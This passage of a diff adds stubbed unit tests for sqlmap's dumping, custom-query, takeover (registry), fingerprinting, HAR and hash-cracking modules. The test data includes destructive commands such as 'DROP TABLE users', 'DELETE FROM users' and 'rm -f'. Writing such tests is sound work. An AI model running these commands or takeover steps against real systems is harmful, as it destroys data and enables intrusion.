conf.dumper.tableValues] + self.assertIn("users", tables) + self.assertIn("posts", tables) + + def test_metadb_suffix_db(self): + # A db whose name carries the METADB_SUFFIX must not get a "db" prefix in + # kb.dumpTable, and dumping still succeeds. + from lib.core.settings import METADB_SUFFIX + set_dbms("MySQL") + metadb = "x%s" % METADB_SUFFIX + e = self._entries(db=metadb, tbl="t", cols=("c",)) + conf.db = metadb + conf.tbl = "t" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["v"]] + + e.dumpTable() + self.assertEqual(list(conf.dumper.tableValues[-1]["c"]["values"]), ["v"]) + + +class TestEntriesDumpAll(_GenericBase): + def test_dumpall_multiple_dbs_tables(self): + set_dbms("MySQL") + e = _TestEntries() + conf.db = None + conf.tbl = None + conf.col = None + e.getTablesResult = {"db1": ["t1"], "db2": ["t2"]} + # dumpTable re-discovers columns per (db, tbl); supply both. + e.getColumnsResult = { + "db1": {"t1": {"a": "int"}}, + "db2": {"t2": {"b": "int"}}, + } + emod.inject.getValue = lambda *a, **k: [["x"]] + + e.dumpAll() + # Every table contributed a values batch. + self.assertEqual(len(conf.dumper.tableValues), 2) + + def test_dumpall_list_cached_tables(self): + # cachedTables as a bare list => wrapped under {None: [...]}. + set_dbms("MySQL") + e = _TestEntries() + conf.db = None + conf.tbl = None + conf.col = None + + # getTables sets cachedTables; emulate the list shape directly. + class _ListTables(_TestEntries): + def getTables(self_inner, bruteForce=None): + kb.data.cachedTables = ["users"] + + e = _ListTables() + # dumpAll wraps a bare list as {None: [...]}; dumpTable then resolves the + # None db via getCurrentDb() -> "testdb", so columns live under "testdb". + e.getColumnsResult = {"testdb": {"users": {"id": "int"}}} + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpAll() + self.assertTrue(conf.dumper.tableValues) + # The bare-list None db must be resolved via getCurrentDb() -> "testdb" + # before the dump; assert the dumped __infos__ carries the real db (not + # None) for the requested "users" table. + infos = conf.dumper.tableValues[-1]["__infos__"] + self.assertEqual(infos["db"], "testdb") + self.assertEqual(infos["table"], "users") + + def test_dumpall_exclude_skips_table(self): + set_dbms("MySQL") + e = _TestEntries() + conf.db = None + conf.tbl = None + conf.col = None + conf.exclude = "secret" + e.getTablesResult = {"db1": ["secret", "users"]} + e.getColumnsResult = {"db1": {"users": {"id": "int"}, "secret": {"id": "int"}}} + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpAll() + tables = [tv["__infos__"]["table"] for tv in conf.dumper.tableValues] + self.assertIn("users", tables) + self.assertNotIn("secret", tables) + + +class TestEntriesDumpFound(_GenericBase): + def _entries(self): + e = _TestEntries() + e.getColumnsResult = {"testdb": {"users": {"id": "int"}}} + return e + + def test_dump_found_tables_yes_all(self): + set_dbms("MySQL") + e = self._entries() + emod.inject.getValue = lambda *a, **k: [["1"]] + # batch readInput -> 'Y' (boolean True) and 'a'/'a' for db/table choices. + e.dumpFoundTables({"testdb": ["users"]}) + self.assertTrue(conf.dumper.tableValues) + # The interactive selection must dump the REQUESTED db/table, not just + # "something": assert the dumped __infos__ maps to testdb.users. + infos = conf.dumper.tableValues[-1]["__infos__"] + self.assertEqual(infos["db"], "testdb") + self.assertEqual(infos["table"], "users") + + def test_dump_found_tables_declined(self): + set_dbms("MySQL") + e = self._entries() + + def _no(message, default=None, checkBatch=True, boolean=False): + if boolean: + return False + return default + + emod.readInput = _no + emod.inject.getValue = lambda *a, **k: self.fail("must not dump when declined") + e.dumpFoundTables({"testdb": ["users"]}) + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_found_column_yes_all(self): + set_dbms("MySQL") + e = self._entries() + emod.inject.getValue = lambda *a, **k: [["1"]] + dbs = {"testdb": {"users": {"id": "int"}}} + e.dumpFoundColumn(dbs, foundCols=None, colConsider='1') + self.assertTrue(conf.dumper.tableValues) + # The selection must dump the REQUESTED db/table mapping, not just + # "something": assert the dumped __infos__ maps to testdb.users. + infos = conf.dumper.tableValues[-1]["__infos__"] + self.assertEqual(infos["db"], "testdb") + self.assertEqual(infos["table"], "users") + + +# --------------------------------------------------------------------------- # +# custom.py +# --------------------------------------------------------------------------- # + +class TestCustomSqlQuery(_GenericBase): + def test_select_joins_listlike_rows(self): + set_dbms("MySQL") + c = Custom() + cmod.inject.getValue = lambda query, **k: [["1", "alice"], ["2", "bob"]] + out = c.sqlQuery("SELECT id, name FROM users;") + # SELECT + list-like rows => each row joined into a single scalar string. + self.assertEqual(len(out), 2) + self.assertTrue(all(isinstance(_, str) for _ in out)) + + def test_select_scalar_passthrough(self): + set_dbms("MySQL") + c = Custom() + captured = {} + + def gv(query, **k): + captured["query"] = query + captured["fromUser"] = k.get("fromUser") + return "42" + + cmod.inject.getValue = gv + out = c.sqlQuery("SELECT COUNT(*) FROM users") + self.assertEqual(out, "42") + self.assertTrue(captured["fromUser"]) + + def test_metadb_suffix_stripped(self): + from lib.core.settings import METADB_SUFFIX + set_dbms("MySQL") + c = Custom() + captured = {} + + def gv(query, **k): + captured["query"] = query + return "x" + + cmod.inject.getValue = gv + c.sqlQuery("SELECT * FROM foo%s.bar" % METADB_SUFFIX) + # the METADB-suffixed schema qualifier is stripped before injection + self.assertNotIn(METADB_SUFFIX, captured["query"]) + + def test_mssql_from_dbo_rewrite(self): + set_dbms("Microsoft SQL Server") + c = Custom() + captured = {} + + def gv(query, **k): + captured["query"] = query + return "x" + + cmod.inject.getValue = gv + c.sqlQuery("SELECT * FROM mydb.users") + # single-dot FROM target gets the .dbo. schema spliced in for MSSQL + self.assertIn("mydb.dbo.users", captured["query"]) + + def test_nonquery_without_stacking_warns_none(self): + set_dbms("MySQL") + conf.direct = False + kb.injection.data = {} # no stacking technique available + c = Custom() + cmod.inject.getValue = lambda *a, **k: self.fail("must not run a query") + out = c.sqlQuery("DELETE FROM users") + self.assertIsNone(out) + + def test_nonquery_stacked_returns_null(self): + set_dbms("MySQL") + conf.direct = True # direct => stacked execution allowed + c = Custom() + calls = {} + + def go(query, *a, **k): + calls["query"] = query + + cmod.inject.goStacked = go + out = c.sqlQuery("DROP TABLE users") + self.assertEqual(out, NULL) + self.assertIn("DROP TABLE users", calls["query"]) + + def test_nonedata_exception_handled(self): + from lib.core.exception import SqlmapNoneDataException + set_dbms("MySQL") + c = Custom() + + def boom(*a, **k): + raise SqlmapNoneDataException("no data") + + cmod.inject.getValue = boom + # exception is swallowed and logged; output stays None + self.assertIsNone(c.sqlQuery("SELECT 1")) + + +class TestCustomSqlFile(_GenericBase): + def test_sqlfile_select_snippets(self): + set_dbms("MySQL") + c = Custom() + cmod.inject.getValue = lambda query, **k: "r" + + # getSQLSnippet reads from disk; patch it to return inline SQL. + saved = cmod.getSQLSnippet + try: + cmod.getSQLSnippet = lambda dbms, filename, **kw: "SELECT 1;SELECT 2" + conf.sqlFile = "dummy.sql" + c.sqlFile() + # two SELECT statements => two recorded dumper.sqlQuery calls + self.assertEqual(len(conf.dumper.sqlQueries), 2) + finally: + cmod.getSQLSnippet = saved + + def test_sqlfile_nonselect_snippet(self): + set_dbms("MySQL") + conf.direct = True + c = Custom() + cmod.inject.goStacked = lambda *a, **k: None + + saved = cmod.getSQLSnippet + try: + cmod.getSQLSnippet = lambda dbms, filename, **kw: "DROP TABLE x" + conf.sqlFile = "dummy.sql" + c.sqlFile() + # non-SELECT => single recorded call with the whole snippet + self.assertEqual(len(conf.dumper.sqlQueries), 1) + self.assertEqual(conf.dumper.sqlQueries[0][0], "DROP TABLE x") + finally: + cmod.getSQLSnippet = saved + + +# --------------------------------------------------------------------------- # +# misc.py +# --------------------------------------------------------------------------- # + +class _TestMisc(Miscellaneous): + """Miscellaneous with the OS/exec collaborators stubbed.""" + + cmdTblName = "sqlmapoutput" + + def __init__(self): + Miscellaneous.__init__(self) + self.checkDbmsOsCalls = 0 + self.execCmdCalls = [] + + def checkDbmsOs(self, detailed=False, vatch=False): + self.checkDbmsOsCalls += 1 + + def execCmd(self, cmd, silent=False): + self.execCmdCalls.append((cmd, silent)) + + +class TestMisc(_GenericBase): + def test_remote_temp_path_posix(self): + set_dbms("MySQL") + self._force_os(OS.LINUX) + conf.tmpPath = None + m = _TestMisc() + out = m.getRemoteTempPath() + self.assertEqual(out, "/tmp") + self.assertEqual(conf.tmpPath, "/tmp") + + def test_remote_temp_path_windows_direct(self): + set_dbms("MySQL") + self._force_os(OS.WINDOWS) + conf.tmpPath = None + conf.direct = True + m = _TestMisc() + out = m.getRemoteTempPath() + self.assertEqual(out, "%TEMP%") + + def test_remote_temp_path_explicit_windows_drive(self): + # An explicit Windows-style drive path flips Backend OS to Windows. + set_dbms("MySQL") + conf.tmpPath = "C:\\Temp" + m = _TestMisc() + out = m.getRemoteTempPath() + self.assertTrue(Backend.isOs(OS.WINDOWS)) + self.assertIn("Temp", out) + self.assertNotIn("\\", out) # ntToPosixSlashes normalized the path + + def test_remote_temp_path_mssql_errorlog(self): + set_dbms("Microsoft SQL Server") + conf.tmpPath = None + mmod.inject.getValue = lambda query, **k: "C:\\Logs\\ERRORLOG" + m = _TestMisc() + out = m.getRemoteTempPath() + # ntpath.dirname strips the ERRORLOG filename, then ntToPosixSlashes + # normalizes the slashes: the exact temp dir must be "C:/Logs". Asserting + # the full path (and that the filename is gone) proves dirname ran. + self.assertEqual(out, "C:/Logs") + self.assertNotIn("ERRORLOG", out) + + def test_get_version_from_banner(self): + set_dbms("MySQL") + conf.direct = True + kb.bannerFp = {} + mmod.inject.getValue = lambda query, **k: "5.7.31-log" + m = _TestMisc() + m.getVersionFromBanner() + # regex \d[\d.-]* extracts the leading numeric-ish run (trailing '-' kept) + self.assertEqual(kb.bannerFp["dbmsVersion"], "5.7.31-") + + def test_get_version_from_banner_cached(self): + set_dbms("MySQL") + kb.bannerFp = {"dbmsVersion": "8.0"} + mmod.inject.getValue = lambda *a, **k: self.fail("must not query when cached") + m = _TestMisc() + m.getVersionFromBanner() + self.assertEqual(kb.bannerFp["dbmsVersion"], "8.0") + + def test_del_remote_file_posix(self): + set_dbms("MySQL") + self._force_os(OS.LINUX) + m = _TestMisc() + m.delRemoteFile("/tmp/foo") + self.assertEqual(m.execCmdCalls[-1], ("rm -f /tmp/foo", True)) + + def test_del_remote_file_windows(self): + set_dbms("MySQL") + self._force_os(OS.WINDOWS) + m = _TestMisc() + m.delRemoteFile("C:/tmp/foo") + cmd, silent = m.execCmdCalls[-1] + self.assertTrue(cmd.startswith("del /F /Q")) + self.assertTrue(silent) + + def test_del_remote_file_empty_noop(self): + set_dbms("MySQL") + m = _TestMisc() + m.delRemoteFile(None) + self.assertEqual(m.execCmdCalls, []) + self.assertEqual(m.checkDbmsOsCalls, 0) + + def test_create_support_tbl(self): + set_dbms("MySQL") + m = _TestMisc() + stacked = [] + mmod.inject.goStacked = lambda query, **k: stacked.append(query) + m.createSupportTbl("mytbl", "data", "TEXT") + joined = " | ".join(stacked) + self.assertIn("DROP TABLE mytbl", joined) + self.assertIn("CREATE TABLE mytbl(data TEXT)", joined) + + def test_create_support_tbl_mssql_cmdtbl(self): + set_dbms("Microsoft SQL Server") + m = _TestMisc() + stacked = [] + mmod.inject.goStacked = lambda query, **k: stacked.append(query) + m.createSupportTbl(m.cmdTblName, "data", "NVARCHAR(4000)") + joined = " | ".join(stacked) + # MSSQL cmd output table gets an IDENTITY id column + self.assertIn("IDENTITY", joined) + + def test_like_or_exact_default(self): + m = _TestMisc() + mmod.readInput = lambda *a, **k: '1' + choice, cond = m.likeOrExact("table") + self.assertEqual(choice, '1') + self.assertIn("LIKE", cond) + + def test_like_or_exact_exact(self): + m = _TestMisc() + mmod.readInput = lambda *a, **k: '2' + choice, cond = m.likeOrExact("table") + self.assertEqual(choice, '2') + self.assertEqual(cond, "='%s'") + + def test_like_or_exact_invalid(self): + from lib.core.exception import SqlmapNoneDataException + m = _TestMisc() + mmod.readInput = lambda *a, **k: '9' + self.assertRaises(SqlmapNoneDataException, m.likeOrExact, "table") + + +# --------------------------------------------------------------------------- # +# takeover.py (pure helpers only) +# --------------------------------------------------------------------------- # + +class _TestTakeover(tmod.Takeover): + """Takeover with all process/network collaborators stubbed. + + Only the pure control-flow helpers (table naming, reg read/add/del dispatch, + osBof/osSmb guards) are exercised; metasploit/icmpsh/UDF spawning is replaced + with recorders so no external process or socket is ever created. + """ + + def __init__(self): + tmod.Takeover.__init__(self) + self.regCalls = [] + self.osVal = OS.WINDOWS + self.smbCalled = False + self.bofCalled = False + self._regInitCalled = 0 + + # neutralize environment setup / OS detection + def _regInit(self): + self._regInitCalled += 1 + + def checkDbmsOs(self, detailed=False, vatch=False): + pass + + def initEnv(self, *a, **k): + pass + + def getRemoteTempPath(self): + return "/tmp" + + def createMsfShellcode(self, *a, **k): + pass + + def readRegKey(self, regKey, regValue, parse=False): + self.regCalls.append(("read", regKey, regValue)) + return "value" + + def addRegKey(self, regKey, regValue, regType, regData): + self.regCalls.append(("add", regKey, regValue, regType, regData)) + + def delRegKey(self, regKey, regValue): + self.regCalls.append(("del", regKey, regValue)) + + def smb(self): + self.smbCalled = True + + def bof(self): + self.bofCalled = True + + +class TestTakeover(_GenericBase): + def _saved_takeover_readInput(self): + return tmod.readInput + + def setUp(self): + _GenericBase.setUp(self) + self._saved_t_readInput = tmod.readInput + + def tearDown(self): + tmod.readInput = self._saved_t_readInput + _GenericBase.tearDown(self) + + def test_init_cmd_table_name(self): + set_dbms("MySQL") + t = _TestTakeover() + self.assertEqual(t.cmdTblName, "%soutput" % conf.tablePrefix) + self.assertEqual(t.tblField, "data") + + def test_reg_read_from_conf(self): + set_dbms("Microsoft SQL Server") + conf.regKey = "HKLM\\Soft" + conf.regVal = "Name" + t = _TestTakeover() + out = t.regRead() + self.assertEqual(out, "value") + self.assertEqual(t.regCalls[-1], ("read", "HKLM\\Soft", "Name")) + self.assertEqual(t._regInitCalled, 1) + + def test_reg_read_defaults(self): + set_dbms("Microsoft SQL Server") + conf.regKey = None + conf.regVal = None + tmod.readInput = lambda message, default=None, **k: default + t = _TestTakeover() + t.regRead() + kind, regKey, regVal = t.regCalls[-1] + self.assertEqual(kind, "read") + self.assertIn("CurrentVersion", regKey) + self.assertEqual(regVal, "ProductName") + + def test_reg_add_from_conf(self): + set_dbms("Microsoft SQL Server") + conf.regKey = "HKLM\\Soft" + conf.regVal = "Name" + conf.regData = "data" + conf.regType = "REG_SZ" + t = _TestTakeover() + t.regAdd() + self.assertEqual(t.regCalls[-1], ("add", "HKLM\\Soft", "Name", "REG_SZ", "data")) + + def test_reg_add_missing_key_raises(self): + from lib.core.exception import SqlmapMissingMandatoryOptionException + set_dbms("Microsoft SQL Server") + conf.regKey = None + conf.regVal = None + conf.regData = None + conf.regType = None + tmod.readInput = lambda *a, **k: "" # empty -> missing mandatory option + t = _TestTakeover() + self.assertRaises(SqlmapMissingMandatoryOptionException, t.regAdd) + + def test_reg_del_confirmed(self): + set_dbms("Microsoft SQL Server") + conf.regKey = "HKLM\\Soft" + conf.regVal = "Name" + tmod.readInput = lambda message, default=None, boolean=False, **k: True if boolean else default + t = _TestTakeover() + t.regDel() + self.assertEqual(t.regCalls[-1], ("del", "HKLM\\Soft", "Name")) + + def test_reg_del_declined(self): + set_dbms("Microsoft SQL Server") + conf.regKey = "HKLM\\Soft" + conf.regVal = "Name" + tmod.readInput = lambda message, default=None, boolean=False, **k: False if boolean else default + t = _TestTakeover() + t.regDel() + # declined => no delRegKey call recorded + self.assertEqual([c for c in t.regCalls if c[0] == "del"], []) + + def test_osbof_wrong_dbms_raises(self): + from lib.core.exception import SqlmapUnsupportedDBMSException + set_dbms("MySQL") + conf.direct = True + t = _TestTakeover() + self.assertRaises(SqlmapUnsupportedDBMSException, t.osBof) + + def test_osbof_no_stacking_returns(self): + set_dbms("Microsoft SQL Server") + conf.direct = False + kb.injection.data = {} # no stacking, not direct => early return + t = _TestTakeover() + self.assertIsNone(t.osBof()) + self.assertFalse(t.bofCalled) + + def test_ossmb_non_windows_raises(self): + from lib.core.exception import SqlmapUnsupportedDBMSException + set_dbms("MySQL") + conf.direct = True + t = _TestTakeover() + + # checkDbmsOs is a no-op here, so force the non-Windows OS explicitly + self._force_os(OS.LINUX) + self.assertRaises(SqlmapUnsupportedDBMSException, t.osSmb) + self.assertFalse(t.smbCalled) + + def test_ossmb_windows_invokes_smb(self): + set_dbms("MySQL") + conf.direct = True + self._force_os(OS.WINDOWS) + t = _TestTakeover() + t.osSmb() + self.assertTrue(t.smbCalled) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_graphql.py b/tests/test_graphql.py index 64a76e930fa..753c5dba3a3 100644 --- a/tests/test_graphql.py +++ b/tests/test_graphql.py @@ -448,16 +448,67 @@ def test_sqlite_has_no_delay(self): self.assertIsNone(gi.DIALECTS["SQLite"].delay) +def _dbmsTruth(dbms): + """A truth() oracle that behaves like a real `dbms` back-end: it answers each + dialect's fingerprint predicate by the SQL *semantics* a genuine instance would + exhibit, keyed on the function tokens the predicate emits - never on the + fingerprint constant itself. A predicate referencing a function the back-end does + not implement raises an error on a real server and is therefore falsy here.""" + + # Which vendor-specific tokens each back-end actually understands. A predicate is + # true only if every vendor token it mentions belongs to this back-end (mirroring + # an unknown function being a hard error rather than a false comparison). + knows = { + "SQLite": ("SQLITE_VERSION()",), + "Microsoft SQL Server": ("@@VERSION",), + "PostgreSQL": ("version()",), + "MySQL": ("@@VERSION_COMMENT", "@@VERSION"), + } + # @@VERSION exists on both MSSQL and MySQL; the distinguishing factor is the + # '%Microsoft%' banner match, which only an actual Microsoft server satisfies. + vendorTokens = ("SQLITE_VERSION()", "@@VERSION_COMMENT", "@@VERSION", "version()") + owned = knows[dbms] + + def truth(cond): + # Any vendor token the predicate names must be implemented by this back-end, + # else the probe errors out (falsy). + for token in vendorTokens: + if token in cond and token not in owned: + # @@VERSION is shared; let the banner clause below decide instead. + if token == "@@VERSION" and "@@VERSION_COMMENT" not in cond: + continue + return False + if not any(token in cond for token in vendorTokens): + return False + # @@VERSION LIKE '%Microsoft%' is only true on a real Microsoft server. + if "@@VERSION" in cond and "Microsoft" in cond: + return dbms == "Microsoft SQL Server" + # version() LIKE 'PostgreSQL%' is only true on a real PostgreSQL server. + if "version()" in cond and "PostgreSQL" in cond: + return dbms == "PostgreSQL" + return True + + return truth + + class TestGraphqlFingerprint(unittest.TestCase): """DBMS fingerprinting drives off the universal truth() predicate""" def test_identifies_sqlite(self): - truth = lambda cond: cond == gi.DIALECTS["SQLite"].fingerprint - self.assertEqual(gi._fingerprint(truth), "SQLite") + # A SQLite-modelled oracle answers only SQLite's own probe; _fingerprint must + # discriminate to land on SQLite rather than echo the asserted constant. + self.assertEqual(gi._fingerprint(_dbmsTruth("SQLite")), "SQLite") def test_identifies_mysql(self): - truth = lambda cond: cond == gi.DIALECTS["MySQL"].fingerprint - self.assertEqual(gi._fingerprint(truth), "MySQL") + self.assertEqual(gi._fingerprint(_dbmsTruth("MySQL")), "MySQL") + + def test_identifies_mssql(self): + # @@VERSION is shared with MySQL; only the '%Microsoft%' banner match resolves it. + self.assertEqual(gi._fingerprint(_dbmsTruth("Microsoft SQL Server")), + "Microsoft SQL Server") + + def test_identifies_postgresql(self): + self.assertEqual(gi._fingerprint(_dbmsTruth("PostgreSQL")), "PostgreSQL") def test_unknown_backend(self): self.assertIsNone(gi._fingerprint(lambda cond: False)) diff --git a/tests/test_gui_helpers.py b/tests/test_gui_helpers.py new file mode 100644 index 00000000000..bc8fc37b3d8 --- /dev/null +++ b/tests/test_gui_helpers.py @@ -0,0 +1,118 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Parser-introspection helpers in lib/utils/gui.py. The GUI itself needs a live +display (Tk), so it is excluded from the smoke test and never imported there; +these module-level helpers, however, are pure and work on argparse/optparse +parser+option objects. We exercise BOTH backends (argparse natively, optparse +via a lightweight stand-in) so the compatibility branches are walked. Importing +the module also covers its (otherwise-uncovered) top-level definitions. +""" + +import argparse +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils import gui + + +class _OptparseLikeOption(object): + """Minimal optparse.Option stand-in (drives the non-argparse branches).""" + def __init__(self, short, long_, dest, help_, type_=None, takes=True): + self._short_opts = [short] if short else [] + self._long_opts = [long_] if long_ else [] + self.dest = dest + self.help = help_ + self.type = type_ + self._takes = takes + + def takes_value(self): + return self._takes + + +class _OptparseLikeGroup(object): + def __init__(self, title, description, options): + self.title = title + self.description = description + self.option_list = options + + def get_description(self): + return self.description + + +def _build_argparse(): + p = argparse.ArgumentParser() + g = p.add_argument_group("Target", "options for the target") + g.add_argument("-u", "--url", dest="url", help="target url") + g.add_argument("--level", dest="level", type=int, help="level", choices=[1, 2, 3]) + g.add_argument("--flag", dest="flag", action="store_true", help="a boolean") + return p, g + + +class TestArgparseBackend(unittest.TestCase): + def setUp(self): + self.parser, self.group = _build_argparse() + + def test_parser_groups_found(self): + groups = gui._parserGroups(self.parser) + titles = [gui._groupTitle(g) for g in groups] + self.assertIn("Target", titles) + + def test_group_options_and_metadata(self): + opts = gui._groupOptions(self.group) + self.assertTrue(opts) + self.assertEqual(gui._groupDescription(self.group), "options for the target") + + def test_opt_accessors(self): + opts = gui._groupOptions(self.group) + by_dest = dict((gui._optDest(o), o) for o in opts) + url = by_dest["url"] + self.assertIn("--url", gui._optStrings(url)) + self.assertEqual(gui._optHelp(url), "target url") + self.assertTrue(gui._optTakesValue(url)) + self.assertEqual(gui._optValueType(url), "string") + self.assertIn("--url", gui._optionLabel(url)) + + def test_int_type_and_choices(self): + opts = gui._groupOptions(self.group) + by_dest = dict((gui._optDest(o), o) for o in opts) + level = by_dest["level"] + self.assertEqual(gui._optValueType(level), "int") + self.assertEqual(gui._optChoices(level), [1, 2, 3]) + + def test_store_true_takes_no_value(self): + opts = gui._groupOptions(self.group) + by_dest = dict((gui._optDest(o), o) for o in opts) + self.assertFalse(gui._optTakesValue(by_dest["flag"])) + + +class TestOptparseBackend(unittest.TestCase): + def setUp(self): + self.opt = _OptparseLikeOption("-u", "--url", "url", "target url", type_="string") + self.intopt = _OptparseLikeOption(None, "--level", "level", "level", type_="int") + self.boolopt = _OptparseLikeOption(None, "--flag", "flag", "flag", takes=False) + self.group = _OptparseLikeGroup("Target", "target opts", [self.opt, self.intopt, self.boolopt]) + + def test_opt_strings_from_short_long(self): + self.assertEqual(gui._optStrings(self.opt), ["-u", "--url"]) + + def test_value_type_and_takes(self): + self.assertEqual(gui._optValueType(self.intopt), "int") + self.assertTrue(gui._optTakesValue(self.opt)) + self.assertFalse(gui._optTakesValue(self.boolopt)) + + def test_group_description_via_method(self): + self.assertEqual(gui._groupDescription(self.group), "target opts") + self.assertEqual(gui._groupOptions(self.group), [self.opt, self.intopt, self.boolopt]) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_har.py b/tests/test_har.py new file mode 100644 index 00000000000..56e9b69b5b6 --- /dev/null +++ b/tests/test_har.py @@ -0,0 +1,171 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tests for lib/utils/har.py -- HAR (HTTP Archive) collector and HTTP +request/response parsing used by sqlmap's --har-file feature. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils import har as H + + +class TestFakeSocket(unittest.TestCase): + def test_makefile_returns_bytesio(self): + sock = H.FakeSocket(b"hello\r\n") + f = sock.makefile() + self.assertEqual(f.read(), b"hello\r\n") + + +class TestRawPair(unittest.TestCase): + def test_stores_fields(self): + pair = H.RawPair(b"GET / HTTP/1.0\r\n\r\n", + b"HTTP/1.0 200 OK\r\n\r\n", + startTime=1000, endTime=2000) + self.assertEqual(pair.request, b"GET / HTTP/1.0\r\n\r\n") + self.assertEqual(pair.response, b"HTTP/1.0 200 OK\r\n\r\n") + self.assertEqual(pair.startTime, 1000) + self.assertEqual(pair.endTime, 2000) + + +class TestHTTPCollector(unittest.TestCase): + def test_collect_and_obtain(self): + c = H.HTTPCollector() + c.collectRequest(b"GET / HTTP/1.0\r\nHost: example.com\r\n\r\n", + b"HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\nbody", + startTime=1000, endTime=2000) + result = c.obtain() + log = result["log"] + self.assertEqual(log["version"], "1.2") + self.assertEqual(log["creator"]["name"], "sqlmap") + entries = log["entries"] + self.assertEqual(len(entries), 1) + self.assertEqual(entries[0]["request"]["method"], "GET") + self.assertEqual(entries[0]["response"]["status"], 200) + + +class TestHTTPCollectorFactory(unittest.TestCase): + def test_create_returns_collector(self): + f = H.HTTPCollectorFactory(harFile=True) + c = f.create() + self.assertIsInstance(c, H.HTTPCollector) + + +class TestEntry(unittest.TestCase): + def test_toDict(self): + req = H.Request("GET", "/path", "HTTP/1.1", + {"Host": "example.com"}) + resp = H.Response("HTTP/1.1", 200, "OK", + {"Content-Type": "text/html"}, b"body") + entry = H.Entry(req, resp, startTime=1000, endTime=2000, + extendedArguments={}) + d = entry.toDict() + self.assertEqual(d["request"]["method"], "GET") + self.assertEqual(d["response"]["status"], 200) + self.assertEqual(d["time"], 1000000) + self.assertIn("startedDateTime", d) + + +class TestRequest(unittest.TestCase): + def test_parse_simple_get(self): + raw = b"GET /path HTTP/1.1\r\nHost: example.com\r\n\r\n" + req = H.Request.parse(raw) + self.assertEqual(req.method, "GET") + self.assertEqual(req.path, "/path") + self.assertEqual(req.httpVersion, "HTTP/1.1") + self.assertEqual(req.headers.get("Host"), "example.com") + + def test_parse_with_comment(self): + raw = (b"HTTP request [#1]:\r\n" + b"POST /submit HTTP/1.0\r\n" + b"Host: example.com\r\n" + b"Content-Type: text/plain\r\n" + b"Content-Length: 4\r\n" + b"\r\n" + b"body") + req = H.Request.parse(raw) + self.assertEqual(req.method, "POST") + self.assertEqual(req.path, "/submit") + self.assertEqual(req.comment, b"HTTP request [#1]:") + self.assertIn(b"body", req.postBody) + + def test_toDict(self): + req = H.Request("GET", "/", "HTTP/1.0", + {"Host": "test.com", "Accept": "*/*"}) + d = req.toDict() + self.assertEqual(d["method"], "GET") + self.assertEqual(d["url"], "http://test.com/") + self.assertEqual(len(d["headers"]), 2) + + def test_toDict_with_postbody(self): + req = H.Request("POST", "/", "HTTP/1.1", + {"Host": "test.com", "Content-Type": "application/json"}, + postBody=b'{"a":1}') + d = req.toDict() + self.assertEqual(d["postData"]["mimeType"], "application/json") + self.assertIn('{"a":1}', d["postData"]["text"]) + + def test_url_property(self): + req = H.Request("GET", "/path?q=1", "HTTP/1.0", + {"Host": "example.com"}) + self.assertEqual(req.url, "http://example.com/path?q=1") + + def test_url_no_host_header(self): + req = H.Request("GET", "/", "HTTP/1.0", {}) + self.assertIn("unknown", req.url) + + +class TestResponse(unittest.TestCase): + def test_parse_simple(self): + raw = b"HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: 4\r\n\r\nbody" + resp = H.Response.parse(raw) + self.assertEqual(resp.status, 200) + self.assertEqual(resp.statusText, "OK") + self.assertEqual(resp.headers.get("Content-Type"), "text/html") + self.assertEqual(resp.content, b"body") + + def test_parse_with_comment(self): + raw = (b"HTTP response [#1] (200 Fine):\r\n" + b"HTTP/1.0 200 Fine\r\n" + b"Content-Type: text/plain\r\n" + b"\r\n" + b"response body") + resp = H.Response.parse(raw) + self.assertEqual(resp.status, 200) + self.assertEqual(resp.statusText, "Fine") + self.assertIn(b"HTTP response", resp.comment) + + def test_toDict(self): + resp = H.Response("HTTP/1.1", 404, "Not Found", + {"Content-Type": "text/html"}, b"not found") + d = resp.toDict() + self.assertEqual(d["status"], 404) + self.assertEqual(d["statusText"], "Not Found") + self.assertEqual(d["content"]["text"], "not found") + self.assertEqual(d["content"]["size"], 9) + + def test_toDict_binary_content_encoded(self): + resp = H.Response("HTTP/1.1", 200, "OK", + {"Content-Type": "application/octet-stream"}, + b"\x00\x01\xff") + d = resp.toDict() + self.assertEqual(d["content"]["encoding"], "base64") + + def test_toDict_non_text_content(self): + resp = H.Response("HTTP/1.1", 200, "OK", + {"Content-Type": "text/plain"}, b"plain text") + d = resp.toDict() + self.assertEqual(d["content"]["text"], "plain text") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_hash_crack.py b/tests/test_hash_crack.py new file mode 100644 index 00000000000..f23838e0eeb --- /dev/null +++ b/tests/test_hash_crack.py @@ -0,0 +1,218 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Dictionary-attack machinery in lib/utils/hash.py (the cracking loop, hash-file +parsing, result storage and table/cache post-processing) - the part NOT covered +by tests/test_hash.py, which only exercises the pure hash-format functions. + +These run the single-process cracking path (conf.disableMulti=True) against a +TINY temp wordlist that contains the known plaintext, so a known hash is cracked +deterministically in milliseconds without interactive prompts, multiprocessing +pools, network, or the real default dictionary. conf.hashDB is forced to None so +hashDBRetrieve/hashDBWrite become no-ops (no session DB side effects). +""" + +import glob +import hashlib +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils import hash as H +from lib.core.data import conf, kb +from lib.core.enums import MKSTEMP_PREFIX + +SCRATCH = "/tmp/claude-1000/-tmp-tmp-oUnlQJzlQN/fcd55d25-6313-49ed-817e-dcbe7fc2bf22/scratchpad" + +# known plaintext / hashes shared across tests +PW = "testpass" +MD5_HASH = hashlib.md5(PW.encode("utf-8")).hexdigest() + + +class _CrackBase(unittest.TestCase): + """Sets up a tiny wordlist and 